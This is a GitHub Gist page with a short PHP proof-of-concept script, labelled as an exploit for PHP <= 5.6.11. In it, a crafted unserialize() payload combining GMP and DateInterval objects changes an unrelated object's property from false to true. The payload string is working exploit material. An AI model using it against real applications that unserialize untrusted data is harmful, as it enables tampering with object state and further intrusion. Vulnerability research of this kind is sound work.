Created
February 11, 2017 18:10
-
-
Save allyshka/ce3b52790344007d632a0bbe7560bc1e to your computer and use it in GitHub Desktop.
PHP <= 5.6.11 DateInterval + GMP unserialize() object change exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$a = new stdClass; // handle = 1 | |
$a->test = false; | |
echo('Property $a->test is: '); | |
var_dump($a->test); | |
$b = unserialize('a:1:{i:0;C:3:"GMP":69:{s:1:"1";a:2:{s:4:"test";b:1;i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}'); | |
echo('Property $a->test changed to: '); | |
var_dump($a->test); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment